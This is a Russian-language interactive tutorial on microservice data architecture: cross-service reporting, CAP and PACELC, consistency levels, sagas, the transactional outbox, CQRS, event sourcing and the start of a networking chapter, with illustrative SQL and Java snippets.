Для по-настоящему статичных наборов (валюты, коды стран) — законно. Изменение раз в пять лет переживёт релиз. Не надо строить инфраструктуру ради данных, которые не меняются.

Отдельно про «статусы». Общий справочник статусов между сервисами — почти всегда ошибка. Жизненный цикл заказа в «Продажах» и в «Складе» разный, и общий список статусов заставляет оба сервиса знать про чужие состояния. Правильно: у каждого свои состояния, а на границе — событие с однозначным смыслом.

потери чего вы лишаетесь, разделив базы

Честный список того, что перестаёт работать, и чем это заменяется. Ни одна замена не бесплатна.

отчётность куда девать сквозные отчёты

Вопрос, который топит больше всего переходов на микросервисы: «а как теперь построить отчёт по продажам в разрезе складов и категорий, если данные в четырёх базах?».

ПодходКак работаетКогда годитсяЦена
Сбор по API на летуОтчётный сервис опрашивает остальные и склеиваетМелкие отчёты, единицы записейНе масштабируется: отчёт за год положит всех. Доступность отчёта = произведению доступностей.
Витрина по событиямСервисы публикуют события, отчётный контекст строит свою денормализованную модельОсновной рабочий вариантОтставание в секунды-минуты; нужна обработка дублей и переупорядочивания; витрину надо уметь перестраивать с нуля.
CDC в хранилищеИзменения из баз сервисов вычитываются журналом (Debezium) и льются в DWHАналитика, BI, MLХранилище видит внутренние схемы — связность через чёрный ход. Смягчается тем, что поток идёт в одну сторону и владелец знает о потребителе.
Отдельная модель чтения у владельцаСервис сам держит денормализованную проекцию для своих тяжёлых запросовОтчёты внутри одного контекстаДублирование данных внутри сервиса; нужно следить за согласованностью проекции.
Практическое правило: оперативная отчётность внутри контекста — модель чтения у владельца; сквозная отчётность между контекстами — отдельный контекст «Аналитика» со своей витриной, наполняемой событиями; тяжёлая аналитика и ML — хранилище через CDC. Попытка обслужить все три случая одним механизмом заканчивается тем, что отчётный сервис лезет напрямую в чужие базы, и вся модель владения рушится.

задание владение данными

Решено 0 из 0.

Дальше → данные разъехались — значит, разъехалась и согласованность. CAP, PACELC и что показывать пользователю

Как только данные лежат больше чем в одном месте, «правда» перестаёт быть одна. Дальше вопрос всегда один: насколько свежие данные нужны вот здесь. Ответ «везде и всегда самые свежие» означает либо один сервер, либо остановку системы при первом обрыве сети.

зачем это зачем разбираться в согласованности

интерактив CAP вживую: разорвите сеть и выберите

Два дата-центра, у каждого копия баланса. Обычно они синхронны. Порвите сеть между ними — и система обязана выбрать: отказать в обслуживании (сохранив согласованность) или ответить возможно устаревшим (сохранив доступность). Третьего варианта нет, и выбор за вас сделает либо архитектор, либо случай.

Дата-центр A основной

Баланс: 100 ₽

Дата-центр B реплика

Баланс: 100 ₽

Сеть цела. Пока раздела нет, можно иметь и согласованность, и доступность — CAP молчит.

теория CAP, и почему её всё время цитируют неверно

Что теорема говорит на самом деле

При разделении сети (P) распределённая система вынуждена выбрать между согласованностью (C) и доступностью (A). Разделение — не выбор, а факт природы: сеть рвётся. Поэтому выбор ровно один: CP или AP, и делается он на время раздела.

Как её цитируют неверно

«Выберите два из трёх». Отсюда берутся «CA-системы», которых не бывает: отказаться от P означает объявить, что сеть никогда не рвётся. Ещё одна ошибка — считать, что выбор делается один раз на всю систему. На деле он делается на каждую операцию.

Проще говоря. Между двумя дата-центрами перерезали провод. У вас два варианта, и оба плохие: сказать клиенту «не могу, приходите позже» — или ответить данными, которые могли устареть. Третьего нет. CAP — это только про этот момент и ни про что больше.

PACELC — более полезная формулировка

Если раздел (P), то выбор между A и C; иначе (E, else) — между задержкой (L) и согласованностью (C). Второй половиной пользуются каждый день, а вспоминают о ней редко: даже при исправной сети синхронная репликация на три узла стоит задержки, а чтение с реплики экономит время ценой свежести. Большинство настроек вашей базы — это ручка именно на этой оси.

Как это выглядит в постановке. Не «система должна быть согласованной», а по операциям: «списание средств — строго согласованно, отказ при недоступности допустим»; «отображение остатка в карточке — допускается отставание до 5 секунд»; «счётчик просмотров — допускается отставание до минуты и потеря части инкрементов». Три разных ответа в одной системе — это норма, а не противоречие.

важнее, чем CAP PACELC: выбор, который вы делаете каждый день

У CAP есть большая беда: она описывает только аварию. Разрыв сети между узлами — событие редкое, пару раз в год. А решение про согласованность вы принимаете не раз в год, а прямо сейчас, в обычный рабочий день.

PACELC достраивает картину. Название — это просто сокращение самой формулы:

  PACELC

  if (P)       если Partition — сеть порвалась
     A or C       выбирай: Availability (отвечать)
                  или     Consistency (отвечать верно)

  Else (E)     иначе — обычная жизнь, сеть цела
     L or C       выбирай: Latency (отвечать быстро)
                  или     Consistency (отвечать верно)
По-русски. «Если сеть порвалась — выбирай между тем, чтобы отвечать, и тем, чтобы отвечать правильно. Иначе — то есть в обычной жизни — выбирай между тем, чтобы отвечать быстро, и тем, чтобы отвечать правильно».
Вот в чём соль. Левая половина (CAP) срабатывает раз в полгода. Правая работает всегда — при каждом запросе, каждый день. Именно поэтому PACELC полезнее: она про то, что происходит постоянно, а не про редкую аварию.

Посмотрите сами

Три копии базы «Ботинка». Клиент покупает последнюю пару 42-го размера. Переключайте состояние сети и выбор — смотрите, что произойдёт.

лестница уровни согласованности: от строгой к никакой

Между «всё сразу везде» и «когда-нибудь сойдётся» есть промежуточные гарантии, и обычно нужна именно одна из них. Нажмите на уровень.

практика что показывать пользователю, пока не сошлось

Отложенная согласованность — это не только техника, но и интерфейс. Четыре рабочих приёма:

Явный статус

«Заказ принят, обрабатывается». Честно и понятно. Требует состояния в модели и экрана для него.

Оптимистичный отклик

Показать результат сразу, как будто он уже применён, и откатить при ошибке. Хорошо для лайков и корзины, плохо для денег.

Читать своё из источника

Автору показываем данные с главного узла, остальным — с реплики. Снимает 90 % жалоб «я сохранил, а не видно».

Заблокировать повтор

Кнопка гаснет до подтверждения. Примитивно и надёжно: снимает половину дублей ещё до всякой идемпотентности.

Самая частая жалоба при переходе на распределённые данные: «я сохранил профиль, обновил страницу — старые данные». Причина — чтение с реплики, которая ещё не догнала. Лечится гарантией «читай своё» (см. лестницу выше), а не увеличением числа реплик.

задание модель согласованности под задачу

Решено 0 из 0.

Дальше → транзакции больше нет — значит, нужна сага. Живой симулятор с компенсациями

Транзакции между сервисами не существует. Вместо неё — цепочка шагов, и если шаг не удался, предыдущие надо отменять руками. Главное, что тут надо понять: отменить — это не «как будто не было». Деньги списали и вернули — в выписке две строки, и клиент их видел обе.

зачем это зачем нужны саги

с самого начала что такое сага и зачем она понадобилась

В монолите всё было просто: одно слово @Transactional — и база сама следила, чтобы либо всё записалось, либо ничего. Разделили базы — и это слово перестало работать.

Вот в чём беда. Транзакция живёт внутри одной базы. Заказы, Склад и Платежи — три разные базы. Общей транзакции на них физически не существует, и никакая библиотека её не сделает.

Житейски: вы планируете поездку

Забронировали гостиницу. Купили билет на самолёт. Оформили страховку. Три разные конторы, три отдельных действия.

И вот выясняется, что рейс отменили. Нет никакой общей кнопки «отменить поездку» — вам придётся отдельно звонить в гостиницу, отдельно возвращать страховку. Каждое действие отменяется своим способом, и отмена — это новое действие, а не стирание прошлого.

Сага — это ровно оно. Последовательность отдельных шагов, у каждого из которых есть свой способ «отыграть назад». Никакой магии: просто заранее продуманный план отступления.
Главное слово здесь — «компенсация». Это не откат: откат стирает следы, а компенсация — это новое действие поверх старого. Разница принципиальная, и разобрана она ниже — в карточке «компенсация — это не откат».

➕ Компенсация в саге

Вы добавляете новое действие, которое отменяет прежнее. Списали деньги — делаете возврат. В выписке будут обе операции: и списание, и возврат.

Почему это важно понимать. Компенсация не всегда возможна. Списанные деньги вернуть можно. А отправленное клиенту письмо «ваш заказ принят» — уже нет. Поэтому шаги, которые нельзя отменить, ставят в самый конец саги: когда всё остальное уже точно прошло.

два способа оркестрация и хореография: проиграйте оба

Сага — это план. А кто этот план держит в голове — вопрос отдельный, и ответов два. Нажимайте «Дальше» и сравнивайте: слева и справа один и тот же заказ.

симулятор сага оформления заказа — уроните любой шаг

Пять шагов в пяти сервисах. Выберите стиль, выберите шаг, который должен упасть, и запустите. Смотрите, что произойдёт с уже выполненными шагами.

Выберите шаг для падения и запустите сагу.

важно компенсация — это не откат

Откат транзакции

Ничего не произошло. Никто не успел увидеть промежуточное состояние, потому что его не было видно снаружи. База гарантирует изоляцию.

Компенсация саги

Произошло, было видно, и теперь выполняется обратное действие. Деньги списаны и возвращены — в выписке две операции. Письмо «заказ принят» отправлено, следом летит «извините, отменён». Товар был зарезервирован, и кто-то в это время не смог его купить.

Проще говоря. Отмена в базе — как будто ничего не было: никто не успел увидеть. Отмена в саге — как возврат в магазине: покупка была, чек был, и теперь есть второй чек, возвратный. Клиент видел оба.

Что не компенсируется вообще

  • Отправленное письмо или пуш. Нельзя «разотправить» — можно только отправить извинение. Поэтому уведомления ставят после точки невозврата, а не до.
  • Выданный физический товар. Компенсация превращается в бизнес-процесс возврата с человеком, а не в вызов API.
  • Показанные данные. Пользователь уже увидел «заказ оформлен» и сделал на этом основании что-то в реальном мире.
  • Внешний эффект у партнёра. Курьер выехал, слот на складе занят, талон в очереди выдан.
Вывод для постановки: прежде чем рисовать сагу, найдите в процессе точку невозврата — шаг, после которого компенсация невозможна или неприемлемо дорога. Всё, что может отказать, обязано выполняться до неё; всё, что имеет внешний эффект, — после. Это доменное решение, и принимать его должен заказчик, а не разработчик.

классификация три типа шагов саги

Правильный порядок шагов выводится из этой классификации почти механически.

Компенсируемые

Можно отменить обратным действием: резерв снять, бонусы вернуть, черновик удалить. Идут первыми.

Точка невозврата (pivot)

Шаг, после которого сага обязана дойти до конца. Обычно это списание денег или передача заказа во внешнюю систему. Ровно один на сагу. Если их два — процесс надо перепроектировать.

Повторяемые

После точки невозврата: гарантированно выполнятся рано или поздно, их можно повторять до успеха. Уведомление, задание на сборку, запись в аналитику. Идут последними.

Правило порядка: сначала всё, что может отказать и что можно откатить; затем единственная точка невозврата; затем то, что обязано выполниться и допускает повторы. Сага, устроенная так, никогда не окажется в состоянии «деньги ушли, а компенсировать нечем».

баланс оркестрация против хореографии

ВопросОркестрацияХореография
Где описан процессВ одном месте — в оркестраторе, его видно целикомНигде: он размазан по подпискам сервисов
Кто знает о комОркестратор знает всех; участники не знают друг другаНикто не знает никого явно, но все знают формат событий
Добавить шагПравка оркестратора — одно место, но релиз оркестратораНовый подписчик — никого не трогаем; но связь неявная
Понять, на чём застрялоСостояние саги видно в одной таблицеНадо собирать по логам и трассировке нескольких сервисов
РискОркестратор притягивает логику и становится мини-монолитомЦиклические реакции и «событийный суп», который никто не может нарисовать
Когда выбиратьБольше 3–4 шагов, нужны состояние, таймауты, разбор застрявших2–3 шага, простая реакция на факт, потребители независимы
Практический совет: начинайте с хореографии, пока шагов два-три и процесс — это «случился факт, кто-то отреагировал». Как только появляются условия, таймауты, ветвления и вопрос «где сейчас заказ №12345» — переходите к оркестрации. Готовые движки (Temporal, Camunda, Netflix Conductor, AWS Step Functions) решают самую скучную и самую важную часть: сохранение состояния, повторы, таймауты и видимость застрявших процессов.

не путать оркестратор саги и оркестратор пайплайна

Слово «оркестратор» занято дважды, и на собеседовании этим пользуются. Temporal и Camunda оркеструют саги. Apache Airflow и Dagster оркеструют пайплайны данных. Общего у них только слово.

Оркестратор саги · Temporal, Camunda, Conductor

Ведёт один экземпляр бизнес-процесса: заказ №12345. Запускается по событию, живёт от секунд до недель, умеет компенсации. Главный вопрос, на который отвечает: «где сейчас этот заказ и почему он там застрял».

Оркестратор пайплайна · Airflow, Dagster

Ведёт регулярную обработку наборов данных: витрина продаж за вчера. Запускается по расписанию, отрабатывает за минуты-часы, компенсаций нет — при сбое просто перезапускают. Вопрос: «пересчиталась ли витрина за 3 сентября».

ПризнакСагаПайплайн данных
Единица работыОдин экземпляр процесса: заказ, заявка, клиентПорция данных за период: выгрузка за сутки
Что запускаетСобытие в бизнесе — клиент оформил заказРасписание либо готовность данных на входе
Как описан процессКод процесса либо схема BPMNDAG: узлы-задачи и зависимости между ними
Откат при сбоеКомпенсации: вернуть деньги, снять резервКомпенсаций нет — перезапуск с нужного узла
Сколько живётОт секунд до недель, состояние сохраняетсяМинуты-часы, состояние — факт «отработало»
Кто владелецПродуктовая командаКоманда данных
Проще говоря. Сага ведёт одного клиента через процесс. Пайплайн ведёт таблицу через пересчёт. Если у сущности есть имя и номер — это сага. Если у неё есть дата и объём — это пайплайн.
Где путаница дорого стоит. Пайплайном пробуют вести бизнес-процесс: «раз в пять минут забираем неоплаченные заказы и дожимаем». Работает до первого вопроса «почему заказ №12345 висит третий день» — ответа нет, состояния нет, компенсаций нет, есть только повторяющийся запуск, который каждый раз начинает сначала. Обратная ошибка дешевле, но тоже бывает: сагу заводят на ночной пересчёт витрины и получают миллион экземпляров процесса там, где хватило бы одного узла графа.

обязательно четыре вещи, без которых сага сломается

задание саги на практике

Решено 0 из 0.

Дальше → а как вообще надёжно отправить событие, если база и брокер — это две разные системы? Outbox

Сервис должен записать себе в базу и сообщить об этом остальным. База и очередь — две разные системы, общей транзакции на них нет. Что бы вы ни делали первым, есть момент, когда первое уже случилось, а второе ещё нет. Упадёте ровно там — данные и события разойдутся навсегда.

зачем это зачем нужны outbox и CDC

с самого начала что за проблема и почему её вообще пришлось решать

Житейски: официант и кухня

Официант принял заказ. Ему надо сделать два дела: записать заказ в свой блокнот (чтобы потом выставить счёт) и крикнуть на кухню (чтобы блюдо начали готовить).

Записал, но не крикнул

В счёте блюдо есть, на кухне о нём не знают. Гость ждёт и не дожидается.

Крикнул, но не записал

Блюдо готовят, но в счёт оно не попало. Ресторан накормил бесплатно.

Блокнот и кухня — две разные системы. Между двумя действиями всегда есть щель, и если официант в неё провалится (отвлёкся, уволился, упал), одно дело сделано, а второе — нет.

То же самое в коде

Сервис заказов должен записать заказ в свою базу и отправить событие в брокер, которого ждут склад и уведомления.

@Transactional                      // транзакция БАЗЫ
public void placeOrder(Order o) {
    orderRepository.save(o);       // 1. записали в свою базу
                                   //    ← вот здесь щель
    kafka.send("orders", event);   // 2. отправили в брокер
}

Упали между 1 и 2 → заказ есть, склад о нём не знает.
Поменяем местами → событие ушло, а заказа нет.
Третьего порядка не существует.
Это не редкий случай. Если сервис обрабатывает миллион заказов в сутки, а щель занимает 10 миллисекунд, то она открыта около трёх часов суммарного времени в год. Падения, перезапуски, обрывы сети и таймауты происходят именно там.

«А почему нельзя обернуть обе операции одной транзакцией?»

Самый частый вопрос, и ответ простой: транзакция — это функция базы данных. База умеет откатывать свои записи. Отправленное в Kafka сообщение база откатить не может — она о нём вообще не знает.

А что же двухфазный коммит? Есть старый механизм (XA / 2PC): координатор спрашивает у всех участников «готовы?», и только потом командует «фиксируем». Работает, но почти никто не применяет: все участники обязаны его поддерживать (Kafka — нет), а на время голосования данные заблокированы у всех сразу. Падение координатора подвешивает всю систему. Разбор — в разделе «Базы данных», карточка про 2PC.
Отсюда и берётся outbox. Раз мы не можем сделать две системы одной транзакцией — сведём оба действия в одну систему. Официант не кричит на кухню сам: он пишет в блокнот и заказ, и отдельную строчку «передать на кухню». А относит эти строчки на кухню помощник, отдельно и позже. Потерять невозможно: обе записи — в одном блокноте, одним движением руки.

по шагам как это работает: проиграйте шесть шагов

Тот же заказ, но по правилам outbox. Переключите способ доставки и пройдите шаги — смотрите, что меняется.

симулятор уроните процесс между двумя записями

Сервис оформляет заказ: пишет его в свою базу и публикует событие OrderPlaced, которого ждут склад и уведомления. Выберите способ и точку сбоя.

База сервиса «Заказы»

пусто

Брокер (топик orders)

пусто
Выберите способ и точку сбоя, затем оформите заказ.

механика transactional outbox — как это устроено

Идея в одну строку: событие пишется в ту же базу и в ту же транзакцию, что и бизнес-данные. Раз транзакция одна, разойтись они не могут. Отправкой в брокер занимается отдельный процесс, читающий таблицу.

-- шаг 1: одна транзакция — бизнес-данные и факт события
BEGIN;
  INSERT INTO orders(id, customer_id, total, status)
       VALUES ('ord-77', 'cus-3', 4200, 'PLACED');

  INSERT INTO outbox(id, aggregate_id, type, payload, created_at)
       VALUES (gen_random_uuid(), 'ord-77', 'OrderPlaced',
               '{"orderId":"ord-77","total":4200,...}', now());
COMMIT;   -- либо и заказ, и событие, либо ничего

-- шаг 2: отдельный процесс (relay) забирает и публикует
SELECT * FROM outbox WHERE sent_at IS NULL
  ORDER BY created_at LIMIT 100
  FOR UPDATE SKIP LOCKED;   -- чтобы несколько реле не мешали друг другу
-- публикуем в брокер, затем:
UPDATE outbox SET sent_at = now() WHERE id = ...;
Проще говоря. Нельзя одновременно «записать себе» и «сказать другим» — это две разные системы, и между ними всегда есть щель. Outbox убирает щель хитростью: мы записываем в свою базу и данные, и записку «надо сообщить», одной операцией. А разослать записки можно потом и сколько угодно раз.
Что outbox гарантирует и чего не гарантирует. Гарантирует: событие уйдёт хотя бы один раз и никогда не уйдёт без изменения данных. Не гарантирует: что уйдёт ровно один раз. Реле может опубликовать событие и упасть до отметки sent_at — тогда при рестарте оно опубликует его снова. Поэтому идемпотентность получателя обязательна всегда, никакой outbox её не отменяет.

вариант CDC: читать журнал базы вместо таблицы

Change Data Capture — чтение журнала транзакций СУБД (WAL в PostgreSQL, binlog в MySQL) и превращение изменений в события. Инструмент по умолчанию — Debezium.

Комбинация, которую применяют чаще всего: outbox + CDC. Приложение пишет в таблицу outbox в своей транзакции, а Debezium читает журнал и публикует. Так снимается недостаток чистого CDC (события в терминах таблиц) и недостаток чистого outbox (реле с опросом базы): событие сформулировано доменно самим приложением, а доставка идёт из журнала, без опроса и без дополнительного процесса.

обратная сторона inbox: как получателю не обработать дважды

Outbox решает задачу отправителя. У получателя своя: сообщение придёт повторно, и обработать его второй раз нельзя.

BEGIN;
  -- уникальный индекс по message_id: второй INSERT упадёт
  INSERT INTO processed_messages(message_id, consumer, processed_at)
       VALUES ('msg-91', 'inventory', now())
  ON CONFLICT (message_id, consumer) DO NOTHING;
  -- если вставки не было — сообщение уже обработано, выходим

  UPDATE stock SET reserved = reserved + 1 WHERE sku = 'SKU-5';
COMMIT;

Три способа сделать обработку идемпотентной

  • Таблица обработанных — универсально, требует уборки старых записей.
  • Естественная идемпотентность — SET status = 'PAID' можно выполнить дважды без вреда, в отличие от balance = balance - 100.
  • Версия / условная запись — UPDATE ... WHERE version = 7: повтор не пройдёт, потому что версия уже изменилась.

Порядок сообщений

Глобального порядка не бывает. Гарантия даётся внутри партиции, поэтому ключом партиционирования берут идентификатор агрегата (orderId): все события одного заказа попадут в одну партицию и придут по порядку. События разных заказов могут перемешаться — и это нормально.

Если порядок всё-таки нарушится, спасает номер версии в событии: получатель отбрасывает события с версией не больше уже применённой.

задание надёжная публикация событий

Решено 0 из 0.

Дальше → события есть — на них можно строить модели чтения. CQRS и event sourcing

Этот раздел — одна история. Анна пользуется интернет-магазином: оформляет заказы и смотрит список своих заказов. На её примере разберём, что такое CQRS, зачем он нужен и как устроен внутри. Идите по главам по порядку: каждая опирается на предыдущую.

карта раздела куда мы идём

глава 1 · определение что такое CQRS за одну минуту

Сначала одно слово, без которого дальше не понять ничего. Модель — это форма, в которой код держит данные: класс с полями и методами. Например, класс Order с полями «номер», «товары», «сумма», «статус» и методом «оформить».

CQRS (Command Query Responsibility Segregation, «разделение команд и запросов») — это правило: код, который меняет данные, и код, который показывает данные, пишутся отдельно. У каждого своя модель: у записи — класс с правилами, у чтения — плоский класс ровно под экран.

Звучит абстрактно, поэтому сразу посмотрим на живом примере. Анна делает в магазине две вещи. Выберите, как написан код, и нажмите на действие Анны. Сравните цифры внизу.

глава 2 · две половины команда или запрос

В первой главе мы разделили код Анны на две половины. У них есть имена, и от них CQRS получил свои буквы: Command — команда, Query — запрос.

Всё, что пользователь делает в системе, бывает двух видов. Отличить их можно одним вопросом: изменится ли что-нибудь после этого действия?

✍️ Команда: «сделай»

Меняет данные, поэтому сначала проверяет правила. Отвечает коротко: «готово» или «нельзя, потому что…». Если повторить команду, результат может получиться другим.

👁 Запрос: «покажи»

Ничего не меняет и отдаёт готовый вид под экран. Можно повторять сколько угодно раз, мир от этого не изменится.

Разложите действия по корзинам. Решено 0 из 0.

Это и есть CQRS целиком. Команды идут через повара с правилами, запросы идут к витрине с готовыми ответами. В коде это значит: для команд доменные объекты, для запросов отдельные запросы сразу в DTO под экран. Одна база, никаких очередей.

глава 3 · почему почему одной модели мало

Сначала расшифруем страшные буквы

  C Q R S

  Command   Query   Responsibility   Segregation
  команды   запросы    ответственность   разделение

  дословно: «разделяем ответственность
            за команды и за запросы»

  по-человечески: ЗАПИСЬ И ЧТЕНИЕ — РАЗНЫЕ ЗАДАЧИ,
                  и делать их одним и тем же кодом
                  не обязательно
И это вся идея целиком. Никакой второй базы, никаких событий, никаких очередей в определении нет. Всё это — возможные способы применения, а не сам приём.

Житейски: пекарня

На кухне важны рецепт, граммы, порядок действий, температура. Ошибся — выбросил партию.

На витрине важно другое: красиво выложить, быстро найти, быстро отдать. Покупателю не нужно знать про граммы и температуру — ему нужны название, цена и картинка.

Это одна и та же булочка, но два совершенно разных взгляда на неё. Никому не приходит в голову заставлять продавца отпускать товар прямо из тестомеса — а в коде мы делаем именно это, когда одну и ту же модель используем и для записи, и для показа.

Теперь — та самая боль. Один заказ, два взгляда

Нажмите на кнопки: что нужно коду, когда он записывает заказ, и что нужно, когда он показывает заказ.

глава 4 · почувствуйте пекарня: одно окно или два

Мы уже знаем определение и видели код. Теперь почувствуем, почему чтение и запись мешают друг другу, когда живут в одном месте. Уйдём от кода в жизнь.

В пекарне работает повар: он принимает заказы и следит за правилами (нельзя продать то, чего нет). Покупатели делают две вещи: спрашивают «что у вас есть?» и покупают. Спрашивают примерно в десять раз чаще, чем покупают.

Выберите, как устроена пекарня, и запустите утренний наплыв. Потом переключите режим и запустите ещё раз, чтобы сравнить.

👨‍🍳 Кухня: модель записи

Меняет данные и проверяет правила. Работает медленно, зато правильно.

🪧 Витрина: модель чтения

промежуточный итог что мы уже поняли

Остановимся и соберём всё, что узнали в главах 1–4, в одну карточку. Дальше пойдём внутрь системы.

глава 5 · изнутри путь команды и путь запроса по системе

Теперь проследим по шагам, через что проходит действие Анны внутри сервиса. Выберите сценарий и нажимайте «Дальше». Подсвеченный блок на схеме — то место, где сейчас находится запрос. Ниже видно, что там происходит, какой там код, что лежит в базе и почему сделано именно так.

База одна на оба пути. Это важно: CQRS первого уровня разделяет код, а не хранилища.

глава 6 · как ломается проследите, как одна модель превращается в проблему

Никто не проектирует плохо специально. Разберём, как это получается само — шаг за шагом, на живом примере.

глава 7 · уровни три уровня CQRS — выбирайте минимальный

1. Разные модели в коде

Одна база. Запись идёт через доменные объекты с правилами, чтение — отдельными запросами сразу в DTO, мимо сущностей. Почти всегда полезно и почти бесплатно. С этого стоит начинать всем.

2. Отдельная схема для чтения

Денормализованные таблицы или материализованные представления в той же базе, обновляемые при изменениях. Появляется отставание, зато тяжёлые экраны отдаются одним запросом без единого JOIN.

3. Отдельное хранилище для чтения

Витрина в другой БД: Elasticsearch для поиска, Redis для горячих счётчиков, колоночная база для аналитики. Наполняется событиями. Дорого: отставание, перестроение, согласованность, отдельная эксплуатация.

Проще говоря. Кладовщик и продавец смотрят на один и тот же товар по-разному: одному нужен ряд и полка, другому — цена и картинка. Не надо делать одну таблицу на двоих. CQRS — это «пусть у каждого будет свой удобный вид», и начинается он не с баз, а просто с двух разных запросов в коде.
Частая ошибка: прыгать сразу на третий уровень, потому что «CQRS — это когда две базы». В девяти случаях из десяти хватает первого, и он не стоит ничего: просто перестаньте тянуть сущности ORM в экраны и напишите отдельные запросы под конкретные представления.

глава 8 · соберите сами пропустите заказ через уровень 1, 2 и 3

Три уровня легко перечислить, но разницу надо увидеть. Выберите уровень и нажмите кнопку: Анна оформит заказ и сразу же откроет «Мои заказы». Следите, какие блоки загораются, сколько это стоит по времени и увидит ли Анна свой заказ.

пунктиром — то, что добавилось на этом уровне и что теперь надо писать, мониторить и чинить

глава 9 · выбор какой уровень нужен в каждой ситуации

Правило простое: берите самый низкий уровень, который решает проблему. Каждый следующий добавляет движущиеся части и отставание. Разложите ситуации по уровням. Решено 0 из 0.

глава 10 · отставание модель чтения отстаёт — что видит пользователь

Менеджер меняет цену товара. Запись идёт в основную модель, витрина обновляется событием с задержкой. Покрутите задержку и посмотрите, что увидит покупатель и что увидит сам менеджер.

1500 мс

Модель записи

Источник правды, охраняет правила

1 200 ₽

Очередь событий

PriceChanged в пути

пусто

Витрина (модель чтения)

То, что видит покупатель

1 200 ₽
Поставьте новую цену и попробуйте прочитать её обоими способами.

глава 11 · баланс CQRS честно

глава 12 · а это другое event sourcing: зачем хранить историю вместо остатка

Сразу разведём два понятия, их постоянно путают. CQRS — про то, что чтение и запись разделены. Event sourcing — про то, что именно лежит в хранилище. Это разные приёмы, и они прекрасно живут по отдельности: CQRS без event sourcing встречается в сто раз чаще.

Житейски: банковская выписка

Представьте, что банк хранил бы только остаток на счету: 12 400 ₽. И всё. Никакой истории.

Вы приходите и говорите: «у меня пропали три тысячи». Что ответит банк? Ничего. У него нет данных, откуда взялось число 12 400. Он не может ни доказать свою правоту, ни найти ошибку, ни отменить одну операцию.

Поэтому банк хранит наоборот: список операций. А остаток — это просто их сумма, которую можно пересчитать в любой момент. Event sourcing — это ровно тот же выбор, только в коде.

Что это даёт — по шагам

глава 12 · продолжение хранить не состояние, а историю

Обычная система хранит текущее состояние: «баланс 1200». Event sourcing хранит все события: «начислено 1000», «начислено 500», «списано 300» — а состояние вычисляется их проигрыванием. Журнал событий неизменяем: исправление — это новое компенсирующее событие, а не UPDATE.

Обычное хранение

accounts
┌────────┬─────────┐
│ id     │ balance │
├────────┼─────────┤
│ acc-1  │   1200  │   ← как пришли к 1200,
└────────┴─────────┘      неизвестно

Event sourcing

events (append-only)
┌───┬────────┬──────────────┬──────┐
│ # │ acc    │ type         │ amt  │
├───┼────────┼──────────────┼──────┤
│ 1 │ acc-1  │ Deposited    │ 1000 │
│ 2 │ acc-1  │ Deposited    │  500 │
│ 3 │ acc-1  │ Withdrawn    │  300 │
└───┴────────┴──────────────┴──────┘
balance = 1000 + 500 − 300 = 1200
плюс ответ на вопрос «почему»

Что обязательно прилагается

  • Снимки (snapshots). Проигрывать 400 тысяч событий на каждое чтение нельзя — периодически сохраняется состояние на момент N, дальше проигрывается хвост.
  • Проекции. Запросы «покажи всех клиентов с балансом больше 1000» по журналу событий невозможны — нужны построенные из него модели чтения. Поэтому ES почти всегда идёт в паре с CQRS.
  • Версионирование событий. События живут вечно, а формат меняется. Нужен план: апгрейд при чтении, версии типов, никогда не менять старые записи.
  • Ответ про персональные данные. Журнал неизменяем, а закон требует удалять. Обычное решение — крипто-стирание: персональные данные в событии зашифрованы, удаляется ключ.
Когда event sourcing точно не нужен: обычный CRUD, справочники, каталоги, административные панели — то есть подавляющее большинство кода. ES оправдан там, где история сама по себе ценна: финансовые операции, аудит по требованию регулятора, сложные доменные процессы с разбором «почему получилось так». Применение ES ко всей системе — надёжный способ утроить сложность ради выгоды в 5 % кода.

глава 13 · задание CQRS и event sourcing

Решено 0 из 0.

Дальше → сначала — что вообще происходит в сети между сервисами: DNS, TCP, TLS, HTTP/2 и 3, CDN

Между нажатием Enter и первой картинкой на экране запрос успевает несколько раз слетать туда и обратно — иногда через полмира. Каждый такой «круг» стоит времени, и на каждом что-то может сломаться. Весь раздел — одна история: покупательница Анна набирает адрес магазина «Ботинок» и нажимает Enter. Проследим по шагам, что происходит дальше: справочная имён, рукопожатия, шифрование, сами запросы, посредники по дороге. А по ходу разберём, что из этого нужно архитектору и аналитику — чтобы писать выполнимые требования и быстро понимать, где авария.

зачем это зачем архитектору и аналитику разбираться в сети

карта раздела один Enter, четырнадцать глав

Читайте по порядку: каждая глава разбирает один отрезок пути запроса Анны. Главы 2, 5, 6, 8 и 12 — самые «живые»: там можно крутить настройки и ломать. Кнопка переносит к главе.

глава 1 · завязка Анна нажимает Enter: 1,7 секунды, которых никто не заметил

Вечер пятницы. Анна живёт в Новосибирске и едет домой в автобусе. Она открывает браузер на телефоне — мобильный интернет, 4G, — набирает botinok.ru и нажимает Enter. Через 1,7 секунды на экране каталог кроссовок. Анна ничего особенного не заметила.

В тот же вечер разработчик Борис открывает ту же страницу в московском офисе по Wi-Fi — за 0,4 секунды. «У меня всё летает», — говорит он. А аналитик Олег пишет в требованиях: «Страница каталога открывается не дольше чем за 1 секунду». Кто из них прав? И почему у Анны в четыре раза дольше, если сервер тот же и страница та же?

Ответ — в сети. Чтобы разобраться, начнём с трёх слов.

Компьютерная сеть — компьютеры, соединённые проводами, оптикой или радио, плюс правила, по которым они передают друг другу данные. Интернет — это сеть сетей: десятки тысяч сетей провайдеров, дата-центров и компаний, договорившихся передавать данные друг друга.
Протокол (protocol) — договорённость о том, кто, что, в каком порядке и в каком виде отправляет. DNS, TCP, TLS, HTTP — это всё протоколы. Каждый решает одну свою задачу.
Пакет (packet) — небольшая порция данных с адресом отправителя и получателя. Сеть не передаёт «страницу целиком». Она передаёт пакеты размером около полутора килобайт, и каждый идёт сам по себе.
вы отправляете книгу по почте, но почта принимает только открытки. Вы разрезаете книгу на 300 открыток, нумеруете их и пишете на каждой адрес. Открытки едут разными машинами, часть теряется, часть приходит не по порядку. Получатель собирает книгу по номерам и просит прислать заново недостающие. Так устроена передача любой страницы в интернете.

Четыре разговора до первой картинки

Прежде чем Анна увидит хоть один пиксель, её браузер проведёт четыре «разговора» — каждый по своему протоколу. И почти каждый разговор стоит как минимум одного круга туда-обратно: браузер что-то отправил и ждёт ответа.

📖 1. DNS

«Какой числовой адрес у botinok.ru?» Имя сайта удобно людям, а сеть понимает только числа.

🤝 2. TCP

«Давай поговорим» — «Давай» — «Начинаю». Договариваются о надёжной доставке.

🔐 3. TLS

«Докажи, что ты настоящий botinok.ru, и договоримся о ключе». Потом всё шифруется.

📄 4. HTTP

«Дай страницу /catalog» — «Вот HTML». Потом ещё два десятка запросов за картинками и скриптами.

Пройдите весь путь по шагам. Это обзор: каждый шаг потом разобран в своей главе.

